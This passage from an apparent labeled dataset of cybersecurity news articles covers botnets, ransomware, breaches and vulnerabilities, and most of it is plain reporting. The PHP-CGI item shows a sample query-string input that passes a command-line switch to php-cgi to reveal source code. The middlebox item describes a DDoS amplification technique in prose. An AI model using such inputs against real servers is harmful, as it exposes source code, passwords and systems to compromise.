Even though Joanap is currently being detected by many malware protection systems, including Windows Defender, the malware's peer-to-peer (P2P) communications infrastructure still leaves large numbers of infected computers connected to the Internet.

So to identify infected hosts and take down the botnet, the FBI and the Air Force Office of Special Investigations (AFOSI) obtained legal search warrants that allowed the agencies to join the botnet by creating and running ""intentionally infected"" computers mimicking its peers to collect both technical and ""limited"" identifying information in an attempt to map them, the DoJ said in its press release.
""While the Joanap botnet was identified years ago and can be defeated with antivirus software, we identified numerous unprotected computers that hosted the malware underlying the botnet,"" said U.S. Attorney Nicola T. Hanna.

""The search warrants and court orders announced today as part of our efforts to eradicate this botnet are just one of the many tools we will use to prevent cybercriminals from using botnets to stage damaging computer intrusions.""
The collected information about computers infected with the Joanap malware included IP addresses, port numbers, and connection timestamps which allowed the FBI and AFOSI to build a map of the current Joanap botnet.

The agencies are now notifying victims of the presence of Joanap on their infected computers through their Internet Service Providers (ISPs) and even sending personal notifications to people who don't have a router or firewall protecting their systems.

The US Justice Department and FBI will also coordinate the notification of overseas victims of the Joanap malware by sharing the data with the government of other countries.

The efforts to disrupt the Joanap botnet began after the United States unsealed charges against a North Korean computer programmer named Park Jin Hyok in September last year for his role in masterminding the Sony Pictures and WannaCry ransomware attacks.

Joanap and Brambul were also recovered from computers of the victims of the campaigns listed in the Hyok's September indictment, suggesting that he aided the development of the Joanap botnet.

",Malware
U.S. Declares Emergency in 17 States Over Fuel Pipeline Cyber Attack,https://thehackernews.com/2021/05/us-declares-emergency-in-17-states-over.html,"The ransomware attack against Colonial Pipeline's networks has prompted the U.S. Federal Motor Carrier Safety Administration (FMCSA) to issue a regional emergency declaration in 17 states and the District of Columbia (D.C.).
The declaration provides a temporary exemption to Parts 390 through 399 of the Federal Motor Carrier Safety Regulations (FMCSRs), allowing alternate transportation of gasoline, diesel, and refined petroleum products to address supply shortages stemming from the attack.
""Such [an] emergency is in response to the unanticipated shutdown of the Colonial pipeline system due to network issues that affect the supply of gasoline, diesel, jet fuel, and other refined petroleum products throughout the Affected States,"" the directive said. ""This Declaration addresses the emergency conditions creating a need for immediate transportation of gasoline, diesel, jet fuel, and other refined petroleum products and provides necessary relief.""
The states and jurisdictions affected by the pipeline shut down and included in the Emergency Declaration are Alabama, Arkansas, District of Columbia, Delaware, Florida, Georgia, Kentucky, Louisiana, Maryland, Mississippi, New Jersey, New York, North Carolina, Pennsylvania, South Carolina, Tennessee, Texas, and Virginia.
The exemptions, which aim to alleviate any supply disruptions that may arise as a result of Colonial halting its pipeline operations, are expected to be in effect until the end of the emergency or June 8, 2021, 11:59 p.m., whichever is earlier.
FBI Confirms DarkSide Ransomware
The development comes as the U.S. Federal Bureau of Investigation (FBI) confirmed the shutdown of one of the country's largest pipelines over the weekend was orchestrated by Darkside ransomware. The cyberattack forced the company to shut down 5,500 miles of fuel pipeline from the Texas city of Houston to New York harbor, raising concerns about the vulnerability of the U.S. energy infrastructure to cyberattacks.
""Colonial Pipeline is continuing to work in partnership with third-party cybersecurity experts, law enforcement, and other federal agencies to restore pipeline operations quickly and safely,"" Colonial Pipeline said in a statement. ""While this situation remains fluid and continues to evolve, the Colonial operations team is executing a plan that involves an incremental process that will facilitate a return to service in a phased approach.""
While the U.S. government on Monday said there was no evidence to imply that Russia was involved in the Colonial Pipeline ransomware attack, the operators of the DarkSide ransomware issued a statement on their dark web extortion site, pledging it intends to vet the companies its affiliates are targeting going forward to ""avoid social consequences in the future.""
""We are apolitical, we do not participate in geopolitics, do not need to tie us with a defined government and look for other our motives,"" the cybercrime gang said, adding, ""Our goal is to make money, and not creating problems for society.""
DarkSide as Carbon Spider's Ransomware campaign
The adversary, which is alleged to have leaked data pertaining to at least 91 organizations since commencing operations in August 2020, functions as a ransomware-as-a-service (RaaS) scheme, in which partners are roped in to expand the criminal enterprise by breaching corporate networks and deploying the ransomware, while the core developers take charge of maintaining the malware and payment infrastructure. Affiliates typically receive 60% to 70% of the proceeds, and the developers earn the rest.
Among the victims whose internal data was published on the DarkSide's data leak site are other oil and gas companies such as Forbes Energy Services and Gyrodata, both of which are based in Texas. According to Crowdstrike, DarkSide is believed to be the handiwork of a financially-motivated threat actor called Carbon Spider (aka Anunak, Carbanak, or FIN7), whose high-level manager and systems administrator was recently sentenced to 10 years in prison in the U.S.
""The DarkSide group is a relatively new player in the game of ransomware. Despite being a new group, though, the DarkSide team has already built itself quite a reputation for making their operations more professional and organized,"" Cybereason researchers said last month. ""The group has a phone number and even a help desk to facilitate negotiations with victims, and they are making a great effort at collecting information about their victims – not just technical information about their environment, but more general information about the company itself, like the organization's size and estimated revenue.""
Stating that the RaaS variant is the latest product to join the growing trend of ransomware professionalization, cybersecurity firm Digital Shadows called out DarkSide's history of issuing corporate-style press releases on its Tor domain, labeling its business model a ""ransomware-as-a-corporation"" (RaaC).
The Colonial Pipeline incident is the latest cyberattack to confront the U.S. government in recent months, following the SolarWinds hacks by Russian intelligence operatives and the exploitation of Microsoft Exchange Server vulnerabilities by Chinese threat actors.
""To take down extensive operations like the Colonial pipeline reveals a sophisticated and well-designed cyberattack,"" Check Point's Head of Threat Intelligence, Lotem Finkelsteen, said. ""This attack also requires a proper time frame to allow lateral movement and data exhilaration. The Darkside is known to be part of a trend of ransomware attacks that involve systems the cyber community rarely sees involved in the compromised network, like ESXi servers. This leads to suspicions that ICS network (critical infrastructure systems) were involved.""
Update: Following the DarkSide ransomware attack that forced Colonial to stop the flow of fuel through its pipelines over the weekend, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday published a new advisory urging business to follow security best practices to prevent disruptions, including implementing robust network segmentation between IT and OT networks; regularly testing manual controls; and ensuring that backups are periodically taken and isolated from network connections.
""CISA and the FBI do not encourage paying a ransom to criminal actors,"" the agency said. ""Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim's files will be recovered.""

",Malware
Android malware 'Priyanka' spreading rapidly through WhatsApp messenger,https://thehackernews.com/2013/07/android-malware-priyanka-spreading.html,"An Android malware is spreading around WhatsApp messenger called 'Priyanka'. It changes all your groups names to Priyanka, and may also change your contact names to Priyanka.
Apparently, the malware doesn't actually harm Android devices, but it is very annoying and it spreads manually, relying on victims to accept and install a contact file from a friend, named ""Priyanka,"". Just in this week this virus started infecting WhatsApp users.

If you receive a contact file from a friend, named 'Priyanka' and install it, your WhatsApp will be infected. If you receive the contact file but don't accept it, nothing will happen.

Follow below steps to remove the virus, if your are infected:
Go to your contacts, search for Priyanka and DELETE it
Go to Settings on your phone
Select Apps or App manager and then select Whatsapp from the list
Tap on Force stop and then on Clear data
Once done. Open Whatsapp on your phone and it'll show up as you've just installed it again.
Go through the setup and in the end it will automatically start restoring your conversations.
So next time when you receive such contacts which you don't expect from your colleagues just discard them.

Update: Website called 'Theandroidsoul' first spotted this malware and claimed existence of this malware. But none antivirus firm or any security professional yet have seen this malware.

",Malware
Casino Gets Hacked Through Its Internet-Connected Fish Tank Thermometer,https://thehackernews.com/2018/04/iot-hacking-thermometer.html,"Internet-connected technology, also known as the Internet of Things (IoT), is now part of daily life, with smart assistants like Siri and Alexa to cars, watches, toasters, fridges, thermostats, lights, and the list goes on and on.

But of much greater concern, enterprises are unable to secure each and every device on their network, giving cybercriminals hold on their network hostage with just one insecure device.

Since IoT is a double-edged sword, it not only poses huge risks to enterprises worldwide but also has the potential to severely disrupt other organisations, or the Internet itself.

There's no better example than Mirai, the botnet malware that knocked the world's biggest and most popular websites offline for few hours over a year ago.

We have another great example that showcases how one innocent looking insecure IoT device connected to your network can cause security nightmares.

Nicole Eagan, the CEO of cybersecurity company Darktrace, told attendees at an event in London on Thursday how cybercriminals hacked an unnamed casino through its Internet-connected thermometer in an aquarium in the lobby of the casino.

According to what Eagan claimed, the hackers exploited a vulnerability in the thermostat to get a foothold in the network. Once there, they managed to access the high-roller database of gamblers and ""then pulled it back across the network, out the thermostat, and up to the cloud.""

Although Eagan did not disclose the identity of the casino, the incident she was sharing could be of last year, when Darktrace published a report [PDF], referencing to a thermometer hack of this sort on an unnamed casino based in North America.

The adoption of IoT technology raises concerns over new and more imaginative cybersecurity threats, and this incident is a compelling reminder that the IoT devices are theoretically vulnerable to being hacked or compromised.
""There's a lot of internet of things devices, everything from thermostats, refrigeration systems, HVAC [air conditioning] systems, to people who bring in their Alexa devices into the offices,"" said Eagan.
""There's just a lot of IoT. It expands the attack surface and most of this isn't covered by traditional defenses.""
Manufacturers majorly focus on performance and usability of IoT devices but ignore security measures and encryption mechanisms, which is why they are routinely being hacked.

Therefore, people can hardly do anything to protect themselves against these kinds of threats, until IoT device manufacturers timely secure and patch every security flaws or loopholes that might be present in their devices.

The best way you can protect is to connect only necessary devices to the network and place them behind a firewall.

Also, keep your operating systems and software up-to-date, make use of a good security product that protects all your devices within the network, and most importantly, educate yourself about IoT products.

",Cyber_Attack
Warning: CCleaner Hacked to Distribute Malware; Over 2.3 Million Users Infected,https://thehackernews.com/2017/09/ccleaner-hacked-malware.html,"If you have downloaded or updated CCleaner application on your computer between August 15 and September 12 of this year from its official website, then pay attention—your computer has been compromised.

CCleaner is a popular application with over 2 billion downloads, created by Piriform and recently acquired by Avast, that allows users to clean up their system to optimize and enhance performance.

Security researchers from Cisco Talos discovered that the download servers used by Avast to let users download the application were compromised by some unknown hackers, who replaced the original version of the software with the malicious one and distributed it to millions of users for around a month.

This incident is yet another example of supply chain attack. Earlier this year, update servers of a Ukrainian company called MeDoc were also compromised in the same way to distribute the Petya ransomware, which wreaked havoc worldwide.

Avast and Piriform have both confirmed that the Windows 32-bit version of CCleaner v5.33.6162 and CCleaner Cloud v1.07.3191 were affected by the malware.

Detected on 13 September, the malicious version of CCleaner contains a multi-stage malware payload that steals data from infected computers and sends it to attacker's remote command-and-control servers.
Moreover, the unknown hackers signed the malicious installation executable (v5.33) using a valid digital signature issued to Piriform by Symantec and used Domain Generation Algorithm (DGA), so that if attackers' server went down, the DGA could generate new domains to receive and send stolen information.
""All of the collected information was encrypted and encoded by base64 with a custom alphabet,"" says Paul Yung, V.P. of Products at Piriform. ""The encoded information was subsequently submitted to an external IP address 216.126.x.x (this address was hardcoded in the payload, and we have intentionally masked its last two octets here) via a HTTPS POST request.""

The malicious software was programmed to collect a large number of user data, including:

Computer name
List of installed software, including Windows updates
List of all running processes
IP and MAC addresses
Additional information like whether the process is running with admin privileges and whether it is a 64-bit system.

How to Remove Malware From Your PC

According to the Talos researchers, around 5 million people download CCleaner (or Crap Cleaner) each week, which indicates that more than 20 Million people could have been infected with the malicious version the app.

""The impact of this attack could be severe given the extremely high number of systems possibly affected. CCleaner claims to have over 2 billion downloads worldwide as of November 2016 and is reportedly adding new users at a rate of 5 million a week,"" Talos said.
However, Piriform estimated that up to 3 percent of its users (up to 2.27 million people) were affected by the malicious installation.

Affected users are strongly recommended to update their CCleaner software to version 5.34 or higher, in order to protect their computers from being compromised. The latest version is available for download here.

",Malware
Attackers Can Weaponize Firewalls and Middleboxes for Amplified DDoS Attacks,https://thehackernews.com/2021/08/attackers-can-weaponize-firewalls-and.html,"Weaknesses in the implementation of TCP protocol in middleboxes and censorship infrastructure could be weaponized as a vector to stage reflected denial of service (DoS) amplification attacks against any target, surpassing many of the existing UDP-based amplification factors to date.
Detailed by a group of academics from the University of Maryland and the University of Colorado Boulder at the USENIX Security Symposium, the volumetric attacks take advantage of TCP-non-compliance in-network middleboxes — such as firewalls, intrusion prevention systems, and deep packet inspection (DPI) boxes — to amplify network traffic, with hundreds of thousands of IP addresses offering amplification factors exceeding those from DNS, NTP, and Memcached.
The research, which received a Distinguished Paper Award at the conference, is the first of its kind to describe a technique to carry out DDoS reflected amplification attacks over the TCP protocol by abusing middlebox misconfigurations in the wild, a method previously deemed effective at preventing such spoofing attacks.
Reflected amplification attacks are a type of DoS attacks in which an adversary leverages the connectionless nature of UDP protocol with spoofed requests to misconfigured open servers in order to overwhelm a target server or network with a flood of packets, causing disruption or rendering the server and its surrounding infrastructure inaccessible. This typically occurs when the response from the vulnerable service is larger than the spoofed request, which can then be leveraged to send thousands of these requests, thereby significantly amplifying the size and bandwidth issued to the target.
While DoS amplifications are traditionally UDP-based owing to complications arising out of TCP's three-way handshake to set up a TCP/IP connection over an IP based network (SYN, SYN+ACK, and ACK), the researchers found that a large number of network middleboxes do not conform to the TCP standard, and that they can ""respond to spoofed censored requests with large block pages, even if there is no valid TCP connection or handshake,"" turning the devices into attractive targets for DoS amplification attacks.
""Middleboxes are often not TCP-compliant by design: many middleboxes attempt [to] handle asymmetric routing, where the middlebox can only see one direction of packets in a connection (e.g., client to server),"" the researchers said. ""But this feature opens them to attack: if middleboxes inject content based only on one side of the connection, an attacker can spoof one side of a TCP three-way handshake, and convince the middlebox there is a valid connection.""
Put differently, the mechanism hinges on tricking the middlebox into injecting a response without completing the three-way handshake, subsequently using it to access a forbidden domain such as pornography, gambling, and file sharing sites, causing the middlebox to respond with a block page, which would be much larger than the censored requests, thus resulting in an amplification.
What's more, not only do these amplified responses come predominantly from middleboxes, a chunk of those network inspection equipment are nation-state censorship apparatus, highlighting the role played by such infrastructure in enabling governments to suppress access to the information within their borders, and worse, allow adversaries to weaponize the networking devices to attack any victim on the internet.
""Nation-state censorship infrastructure is located at high-speed ISPs, and is capable of sending and injecting data at incredibly high bandwidths,"" the researchers said. ""This allows an attacker to amplify larger amounts of traffic without worry of amplifier saturation. Second, the enormous pool of source IP addresses that can be used to trigger amplification attacks makes it difficult for victims to simply block a handful of reflectors. Nation-state censors effectively turn every routable IP addresses (sic) within their country into a potential amplifier.""
""Middleboxes introduce an unexpected, as-yet untapped threat that attackers could leverage to launch powerful DoS attacks,"" the researchers added. ""Protecting the Internet from these threats will require concerted effort from many middlebox manufacturers and operators.""

",Cyber_Attack
Un-Patched PHP-CGI remote code execution vulnerability can expose Source Codes,https://thehackernews.com/2012/05/un-patched-php-cgi-remote-code.html,"Un-Patched PHP-CGI remote code execution bug can expose Source Codes

A serious remote code execution vulnerability in PHP-CGI disclosed. PHP-CGI-based setups contain a vulnerability when parsing query string parameters from php files. The developers were still in the process of building the patch for the flaw when it was disclosed Wednesday, But the vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec.

According to advisory (CVE-2012-1823) , PHP-CGI installations are vulnerable to remote code execution. You can pass command-line arguments like the ""-s"" switch ""show source"" to PHP via the query string. For example, You could see the source via ""https://localhost/test.php?-s"" . A remote unauthenticated attacker could obtain sensitive information, cause a denial of service condition or may be able to execute arbitrary code with the privileges of the web server.

The team that found the bug, known as Eindbazen. They said that it had been waiting for several months for the PHP Group to release a patch for the vulnerability in order to publish information about the bug.

What this vulnerability can do ? It can help attacker to find out database passwords, file locations etc and Execute any file on the server's local disk. Most important , using some trick if you have the possibility to upload a file to the server, execute any code.

So, When PHP is used in a CGI-based setup the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution.

",Malware
South Korean Nuclear Power Plant Hacked,https://thehackernews.com/2014/12/Korea-nuclear-power-plant-hacked.html,"Koreans have once again gain media attention but this time not as an accused of any kind of hack attack, but as a victim of a severe attack on computers systems at a nuclear power plant in South Korea by an unknown hacker or a group.

South Korea was hit by a cyber attack on its nuclear power plant, causing the operator to conduct drills in order to test the ability of the nuclear plant to cope with a full-scale cyber-attack. Although the plant's operator says no critical data has been leaked.

The cyber attack came into light after a hacker posted blueprints of nuclear reactors online and threatened further ""leaks"" unless authorities close down the reactors. According to the South Korean Yonhap News Agency, the hacker was able to access blueprints of reactors, floor maps and other internal information on the plant.

Last week with the help of a Twitter account named ""president of anti-nuclear reactor group,"" the hacker posted leaked data revealing internal designs and manuals of the Gori-2 and Wolsong-1 nuclear reactors run by Korea Hydro and Nuclear Power Co. (KHNP). The hacker also threatened to leak more information unless the reactors are shut down.

The leaked information includes important data on the facilities' air condition and cooling systems, a radiation exposure report, and personal data of employees.

While KHNP and the South Korean government said that only ""non-critical"" information was stolen by the hacker and that the compromised data did not harm the nuclear plant's safety. The company will also conduct extensive drills at four of its complexes next week.

The KHNP, the sole nuclear operator in Korea, manages South Korea's 23 nuclear reactors, which supply about 30 percent of the country's electricity needs.

The hack came after the massive cyber attack on Sony Pictures Entertainment earlier this month, in which a list of personal and confidential data of the company made online by the hackers group called itself Guardian of Peace (GoP). The hack has yet exposed about 200 gigabytes of confidential data from upcoming movie scripts to sensitive employees data, celebrities phone numbers and their travel aliases, and unreleased films, marking it as the most severe hack in the History.

The Federal Bureau of Investigation (FBI) accused North Korea for Sony hack due to the Sony's upcoming controversial movie ""The Interview"" — a comedy about an assassination attempt against North Korean leader Kim Jong-un. Although North Korea denied any involvement.

In the past, South Korea has also many times blamed North Korea for hacks on banks, government websites and broadcasters. But this time no one has blamed North Korea for the hacking against the KHNP power plants. An official at KHNP told Reuters that the hacking appeared to be the work of ""elements who want to cause social unrest,"" but added that he had no one specific in mind.

Meanwhile, a Twitter account claiming to represent an anti-nuclear organisation based in Hawaii claimed responsibility for the Nuclear power plant hack in South Korea, although the identities of the intruders have yet to be confirmed.

",Cyber_Attack
Slack Resets Passwords For Users Who Hadn't Changed It Since 2015 Breach,https://thehackernews.com/2019/07/slack-password-data-breach.html,"If you use Slack, a popular cloud-based team collaboration server, and recently received an email from the company about a security incident, don't panic and read this article before taking any action.

Slack has been sending a ""password reset"" notification email to all those users who had not yet changed passwords for their Slack accounts since 2015 when the company suffered a massive data breach.

For those unaware, in 2015, hackers unauthorisedly gained access to one of the company's databases that stored user profile information, including their usernames, email addresses, and hashed passwords.

At that time, attackers also secretly inserted code, probably on the login page, which allowed them to capture plaintext passwords entered by some Slack users during that time.

However, immediately following the security incident, the company automatically reset passwords for those small number of Slack users whose plaintext passwords were exposed, but asked other affected users to change their passwords manually.

Keep calm and change your password 😊

Slack is resetting the passwords for all those users (approximately 1% of total) who hadn't changed their passwords since 2015 when the company experienced a #databreach leaking users' credentialshttps://t.co/k6jSBgloAX

Check this thread: https://t.co/Fo7QbI9pOv
— The Hacker News (@TheHackersNews) July 18, 2019


Now in its latest statement released today, the company said they learned about a new list of username and password combinations that match with the login credentials of its users who did not change their password after the 2015 data breach.

""We were recently contacted through our bug bounty program with information about potentially compromised Slack credentials,"" Slack states.

""We immediately confirmed that a portion of the email addresses and password combinations were valid, reset those passwords, and explained our actions to the affected users.""

The latest security incident only affects users, who:

created an account before March 2015,
have not changed their password since the incident, and
accounts that do not require logging in via a single-sign-on (SSO) provider.


The company is not exactly aware of the source of this new leaked plaintext credentials, but suggests it could be the ""result of malware attack or password reuse between services.""

It is also possible that someone might have successfully cracked hashed passwords that were leaked in the 2015 data breach, even when it was protected using the bcrypt algorithm with a randomly generated salt per-password.

Late last month, Slack also sent a separate notification to all the affected users informing them about the potential compromise of their credentials without providing any details of the incident, but it seems many users ignored the warning and did not change their passwords voluntarily.
Therefore, now Slack has automatically reset passwords on affected accounts, that are about 1% of the total registered users, that haven't been updated since 2015 as a precautionary measure, asking them to set a new password using this guide.

""We have no reason to believe that any of these accounts were compromised, but we believe that this precaution is worth any inconvenience the reset may cause,"" the company said.

Besides your changing password, you are also recommended to enable two-factor authentication for your Slack accounts, even if you are not affected.

Slack is still investigating the latest security incident and promises to share more information as soon as they are available.

",Data_Breaches
Tor Anonymizing network overload caused by Mevade Botnet,https://thehackernews.com/2013/09/Mevade-Botnet-Tor-anonymizing-network.html,"Recently, Tor Project Director - Roger Dingledine described a sudden increase in Tor users on the Tor Network after the events related to disclosure of the PRISM surveillance program, Since August 19, 2013, there has been an impressive growth in the number of Tor users.

At first, No one knew who or what is responsible for this spontaneous growth of Tor users, but Security researchers at Fox-IT firm found evidence that the spike in Tor traffic is caused by a Mevade Botnet, that hides its Command-and-Control server in the anonymizing network.
The security firm documented the presence of the Mevade malware architecture based on the anonymizing network, ""The malware uses a command and control connectivity via Tor .Onion links using HTTP. While some bots continue to operate using the standard HTTP connectivity, some versions of the malware use a peer-to-peer network to communicate (KAD based).""

""Typically, it is fairly clear what the purpose of malware is, such as banking, click fraud, ransomware or fake anti-virus malware. In this case however it is a bit more difficult. It is possible that the purpose of this malware network is to load additional malware onto the system and that the infected systems are for sale. "" States the blog post.
The benefit of using Tor network is to hide C&C servers, that allow criminals to build a bulletproof architecture. It was September, 2012 when the German security firm GData Software detected a Botnet with a particular feature, it was controlled from an Internet Relay Chat (IRC) server running as a hidden service of the Tor.

The main advantages of Botnet based on Tor are:
The botnet traffic is encrypted, which helps prevent detection by network monitors.
By running as an Hidden Service, the origin, location, and nature of the C&C are concealed and therefore not exposed to possible takedowns. In addition, since Hidden Services do not rely on public-facing IP addresses, they can be hosted behind firewalls or NAT-enabled devices such as home computers.
Hidden Services provides a Tor-specific .Onion pseudo top-level domain, which is not exposed to possible sinkholing.
The operator can easily move around the C&C servers just by re-using the generated private key for the Hidden Service.
Researches linked the bot agent to the Mevade malware family. ""A recent detection name that has been used in relation to this botnet is 'Mevade.A', but older references suggest the name 'Sefnit', which dates back to at least 2009 and also included Tor connectivity. We have found various references that the malware is internally known as SBC to its operators.""

Authors of Mevade Tor variant appear to use the Russian Language. One of them is known as ""Scorpion"" and with his colleague having nickname ""Dekadent"" probably are the part of an organized cyber gang.

The monetization schema implemented by cybercriminals is not sure, probably their primary intent is install adware and toolbars on victim's systems. According TrendMicro Security expert the Mavade malware has also a ""backdoor component and communicates over SSH to remote hosts"" and the botnet could be used for data theft.

It is possible that the purpose of this malware network is to load additional malware onto the system and that the infected systems are for sale.

Members of the Tor Project have begun an investigation and explained in a blog post, ""The fact is, with a growth curve like this one, there's basically no way that there's a new human behind each of these new Tor clients. These Tor clients got bundled into some new software which got installed onto millions of computers pretty much overnight. Since no large software or operating system vendors have come forward to tell us they just bundled Tor with all their users, that leaves me with one conclusion: somebody out there infected millions of computers and as part of their plan they installed Tor clients on them,""

""It doesn't look like the new clients are using the Tor network to send traffic to external destinations (like websites). Early indications are that they're accessing hidden services — fast relays see ""Received an ESTABLISH_RENDEZVOUS request"" many times a second in their info-level logs, but fast exit relays don't report a significant growth in exit traffic. One plausible explanation (assuming it is indeed a botnet) is that its running its Command and Control (C&C) point as a hidden service.""

Tor users are advised to upgrade to the newest version of Tor to mitigate the effect of the Botnet, it in fact includes a new handshake feature which Tor relays prioritize over the older handshake. The upgrade will advantage legitimate new clients ever the ones who use the older version exploited by an actual variant of Mevade malware.

Of course it is a palliative and not curative, the authors of the botnet may decide to update their Tor component too, that is the reason why Tor official also appealed security community to deeply analyze the botnet to shutdown it.

",Malware
"Facebook temporarily blocked access from TOR, but not Intentionally",https://thehackernews.com/2013/06/facebook-temporarily-blocked-access.html,"Tor has become a tool of free expression in parts of the world where citizens can not speak freely against their government. On Tuesday, a number of users have noticed that Facebook is blocking connections from the Tor network.
Tor is a free tool that keeps Web browsing sessions private and anonymous. For activists and political dissidents who use the Internet to communicate with the outside world in countries where doing so is a crime, being unable to login to Facebook using TOR posed a huge problem.

Later, Facebook resolves the Tor issues and said that A high volume of malicious activity across Tor exit nodes triggered Facebook's automated malware detection system, which temporarily blocked visitors who use the Tor anonymity service to access the social network.

The role that Tor and Facebook played in facilitating the dissemination of information under restrictive regimes cannot be underestimated. Security researchers are also frequent users of Tor, for instance to hide their location when investigating malicious activity on the Internet.

By giving people the power to share, we are starting to see people make their voices heard on a different scale from what has historically been possible. These voices will increase in number and volume. They cannot be ignored.

",Malware
Popular PlayStation and Xbox Gaming Forums Hacked; 2.5 Million Users' Data Leaked,https://thehackernews.com/2017/01/gaming-forum-hacking.html,"Do you own an account on one of the two hugely popular PlayStation and Xbox gaming forums?

Your details may have been exposed, as it has been revealed that the two popular video gaming forums, ""XBOX360 ISO"" and ""PSP ISO,"" has been hacked, exposing email addresses, account passwords and IP addresses of 2.5 Million gamers globally.

The attackers hacked and breached both ""XBOX360 ISO"" and ""PSP ISO"" forums in September 2015, but the details of this massive hack just emerge, reports The Sun.

Mostly gamers who look for free versions of popular games are members of these two gaming forums, which provide download links for gaming ISO files – digital copies of online video games lifted from physical game disks – to the owners of Microsoft's Xbox 360 and Sony's Playstation Portable.

Visiting such forum websites and downloading games through the provided links often involve an illegal breach of copyright.

So, if you are one of those gamers using both forum or one of these forums, you are being advised to review your account and change the password for all of your accounts immediately.

Although the hackers behind the attacks are still unknown, it is believed that they dumped the stolen data once they've made enough money by selling the leaked information within private dark web trading sites.

Here's What Gamers Can Do:

Like I always advise, change your passwords for your forum accounts as well as other online accounts immediately, especially if you use the same password for multiple websites.

The reason behind the data breach took so long to emerged is 'Password Reuse.' Your habit of reusing your same email/password combination across multiple services gives hackers opportunity to use the same credentials gathered from one breach to break into your other accounts.

So stop reusing passwords across multiple sites. If it's difficult for you to remember and create complex passwords for different services, you can make use of a good password manager.

We have listed some best password managers that could help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
Chinese Hackers Using Firefox Extension to Spy On Tibetan Organizations,https://thehackernews.com/2021/02/chinese-hackers-using-firefox-extension.html,"Cybersecurity researchers today unwrapped a new campaign aimed at spying on vulnerable Tibetan communities globally by deploying a malicious Firefox extension on target systems.
""Threat actors aligned with the Chinese Communist Party's state interests delivered a customized malicious Mozilla Firefox browser extension that facilitated access and control of users' Gmail accounts,"" Proofpoint said in an analysis.
The Sunnyvale-based enterprise security company pinned the phishing operation on a Chinese advanced persistent threat (APT) it tracks as TA413, which has been previously attributed to attacks against the Tibetan diaspora by leveraging COVID-themed lures to deliver the Sepulcher malware with the strategic goal of espionage and civil dissident surveillance.
The researchers said the attacks were detected in January and February 2021, a pattern that has continued since March 2020.
The infection chain begins with a phishing email impersonating the ""Tibetan Women's Association"" using a TA413-linked Gmail account that's known to masquerade as the Bureau of His Holiness the Dalai Lama in India.
The emails contain a malicious URL, supposedly a link to YouTube, when in fact, it takes users to a fake ""Adobe Flash Player Update"" landing page where they are prompted to install a Firefox extension that Proofpoint calls ""FriarFox.""
For its part, the rogue extension — named ""Flash update components"" — disguises itself as an Adobe Flash-related tool, but the researchers said it's largely based on an open-source tool named ""Gmail Notifier (restartless)"" with significant alterations that add malicious capabilities, including incorporating modified versions of files taken from other extensions such as Checker Plus for Gmail.
The timing of this development is no coincidence, as Adobe officially began blocking Flash content from running in browsers starting January 12 following the rich multimedia format's end-of-life on December 31, 2020.
Interestingly, it appears that the operation is targeting only users of Firefox Browser who are also logged in to their Gmail accounts, as the add-on is never delivered in scenarios when the URL in question is visited on a browser such as Google Chrome or in cases where the access happens via Firefox, but the victims don't have an active Gmail session.
""In recent campaigns identified in February 2021, browser extension delivery domains have prompted users to 'Switch to the Firefox Browser' when accessing malicious domains using the Google Chrome Browser,"" the researchers said.
Once installed, the extension, besides having access to browser tabs and user data for all websites, comes equipped with features to search, read, and delete messages and even forward and send emails from the compromised Gmail account.
Additionally, FriarFox also contacts an attacker-controlled server to retrieve a PHP and JavaScript-based payload called Scanbox.
Scanbox is a reconnaissance framework that enables attackers to track visitors to compromised websites, capture keystrokes, and harvest data that could be used to enable follow-on compromises. It has also been reported to have been modified in order to deliver second-stage malware on targeted hosts.
Campaigns using Scanbox were previously spotted in March 2019 by Recorded Future targeting visitors to the website of Pakistan's Directorate General of Immigration and Passports (DGIP) and a fake typosquatted domain claiming to be the official Central Tibetan Administration (CTA).
The introduction of the FriarFox browser extension in TA413's arsenal points to APT actors' ""insatiable hunger"" for access to cloud-based email accounts, says Sherrod DeGrippo, Proofpoint's senior director of threat research and detection.
""The complex delivery method of the tool [...] grants this APT actor near total access to the Gmail accounts of their victims, which is especially troubling as email accounts really are among the highest value assets when it comes to human intelligence,"" DeGrippo noted.
""Almost any other account password can be reset once attackers have access to someone's email account. Threat actors can also use compromised email accounts to send email from that account using the user's email signature and contact list, which makes those messages extremely convincing.""

",Malware
Cryptome Webpages infected with Blackhole exploit kit,https://thehackernews.com/2012/02/cryptome-webpages-infected-with.html,"Cryptome Webpages infected with Blackhole exploit kit


Cryptome.org a popular website and similar to Wikileaks was hacked by the cybercriminals & Attackers were able to hide malicious scripts on every one of the site's 6,000 pages. Anyone visiting with a vulnerable browser will have found themselves infected with Blackhole, most likely adding their computer to a larger bot.

Cryptome attack, website owners only know they have a problem when users contact them with the bad news after detecting it with security software wise to its many techniques for staying out of sight. Cryptome official write, ""A reader reported today that accessing a file on Cryptome caused this intrusion warning"" and ""Replacement with clean files is proceeding, probably done by end of day.""

Two years ago, the organisation published Microsoft's secret Global Criminal Compliance handbook, which laid out how the company was gathering certain data from users of some of its services that could be accessed by the police and intelligence services.

",Vulnerability
Europol and IT Security Companies Team Up to Combat Ransomware Threat,https://thehackernews.com/2016/07/ransomware-decrypt-tool.html,"No More Ransom, so is the Ransomware Threat.

The European Police agency Europol has joined forces with police and cyber security companies to launch a worldwide initiative to combat and tackle together the exponential growth of Ransomware used by cyber criminals.

Europol announced today the initiative, dubbed NO More Ransom, that has been backed by technology giant Intel, cyber security firm Kaspersky Lab and the Netherlands police, aiming at decreasing an ""exponential"" rise in Ransomware threat.

Ransomware is a piece of malware that typically locks victim's device using encryption and demands a fee to decrypt the important data. The estimated number of ransomware victims tripled in the first quarter of this year alone.
""For a few years now ransomware has become a dominant concern for EU law enforcement,"" said Europol's deputy director Wil van Gemert. ""We expect to help many people to recover control over their files, while raising awareness and educating the population on how to maintain their devices clean from malware.""

No More Ransom

This No More Ransom initiative informs the public about the dangers of ransomware threat, how to avoid falling victim to it and how to recover data without paying money to cyber-criminals if a person or company falls for one.

Also Read: Ransomware attacks on Hospitals put Patients at Risk

The new No More Ransom online portal provides users with downloadable tools that may help decrypt computers affected by ransomware attacks.

